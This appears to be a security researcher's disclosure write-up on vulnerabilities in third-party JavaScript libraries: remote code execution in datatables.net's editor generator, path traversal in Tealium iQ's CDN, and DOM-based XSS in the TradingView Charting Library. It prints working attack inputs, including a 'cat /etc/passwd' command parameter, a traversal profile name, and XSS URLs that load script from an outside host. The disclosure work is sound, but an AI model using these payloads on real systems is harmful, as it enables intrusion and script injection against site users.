A vast number of websites use third-party JavaScript libraries as a way to enhance their functionality with the capabilities offered by a particular library. In many cases, library data is conveniently loaded directly from the service provider’s domain. However, using third-party libraries as part of a website or application leaves the company significantly more vulnerable to a potential attack. I present three examples of vulnerabilities I have discovered in popular JavaScript libraries affecting thousands of large companies.

Example 1: RCE in datatables.net

Datatables.net provides a free library for displaying table data as HTML, available to everyone. The home page of datatables.net suggests using a .js library file that resides at cdn.datatables.net on your site.

This means that a lot of websites on the Internet use the resource cdn.datatables.net as a source of their scripts, and in the case of compromising this resource it will be possible to get an access to all these sites.

While browsing through the company’s services, it was discovered the application https://editor.datatables.net/generator/, which allows generating and testing custom tables on the backend side. Each time a new table was generated, a new PHP file was created on the server. Using a hole in filtering of the input parameters for creating the PHP file, I was able to reproduce an RCE attack: a malicious request injected arbitrary PHP code into the generated file.

When clicking on the link of the generated file and adding the parameter 1=cat /etc/passwd, the contents of the /etc/passwd file were obtained.

It was checked that this vulnerability could be used to access files on cdn.datatables.net, which potentially allowed exploiting the vulnerability on more than a hundred thousand sites.

Example 2: Path traversal in Tealium iQ

The Tealium iQ Tag Management System service is used by many companies to organize tags on their websites.

As in the first example, this service requires the use of JavaScript code from a third-party domain.

This vulnerability has been caused by an inadequate processing of the profile name data, received from the user’s input value. Here are the basic parameters utilized by Tealium iQ necessary to post profile data on tags.tiqcdn.com:

https://tags.tiqcdn.com/utag/<Account Name>/<Profile Name>/prod/utag.js

The problem is that the server allows the characters / and . to be used in the profile name. Such characters can be exploited to manipulate the directory into which a profile is loaded. For instance, in case the profile name has a value ../../utag/uber/main, own profile JavaScript code will be uploaded to https://tags.tiqcdn.com/utag/uber/main/prod/utag.js, and this way, it will be embedded on any Uber website page that utilizes Tealium iQ.

I have created a convenient exploit that could easily alter the contents of any .js file at tags.tiqcdn.com.

This vulnerability has been detected and reported as part of the Uber Bug Bounty and another private Bug Bounty program.

At the time the vulnerability was discovered, the websites of Uber, Microsoft, Cisco, Intel and thousands of other sites were at risk.

Example 3: DOM Based XSS in TradingView Charting Library

The TradingView Charting Library is very popular across cryptocurrency exchange platforms. Most crypto exchanges use this library as a function in their services to display online trading charts. On September 24, 2018, data on high-risk DOM Based XSS library vulnerabilities was introduced. All exchanges using this library were vulnerable.

Any web app, using the TradingView Charting Library in its services, stores a publicly accessible HTML file called tv-chart.html on the server. This file is used to initialize trading charts through location.hash parameters. As a result of the charts initialization, the iframe link to the page of the following type is loaded onto the page.

https://example.com/tradingview/en-tv-chart.x.html#symbol=BTC_ETH&interval=180&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%7D&locale=en&uid=tradingview_36472&clientId=tradingview.com&userId=public_user&chartsStorageVer=1.0&debug=false&timezone=Asia%2FTaipei&theme=Dark

The vulnerability was located in the third-party trading charts loading function. The function used a link obtained from the user input of the indicatorsFile parameter, and transferred it to $.getScript().

A vulnerable link, executing arbitrary JavaScript code, looks like follows.

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=//xss.rocks/xss.js

When users clicked that link, the following code was executed: xss.rocks/xss.js.

After the vulnerability had been publicly disclosed, TradingView released a new library version to fix it. The function, responsible for loading third-party charts, was changed. The new version of this function looked as follows.

This fix was incorrect and the vulnerability can still be reproduced using the customIndicatorsUrlparameter while adding the uid=urlParams parameter.

https://example.com/tradingview/en-tv-chart.x.html#disabledFeatures=[]&enabledFeatures=[]&customIndicatorsUrl=//xss.rocks/xss.js&uid=urlParams

As of this moment, a new library version has been released. It completely fixes the vulnerability.

All exchange platforms, included in the CoinMarketCap list, were tested for vulnerable library version. As a result, 90 vulnerable exchange services were identified, including those with top trading volumes. All vulnerable exchanges were notified of the vulnerability.

• 46 exchanges ignored that alert
• 44 exchanges responded to the alert and requested technical data
• 19 exchanges fixed the vulnerability
• 7 exchanges suggested the reward

Conclusions

When testing a web application for security, you should always consider the third-party products used, because in many cases they are no less important than first-party.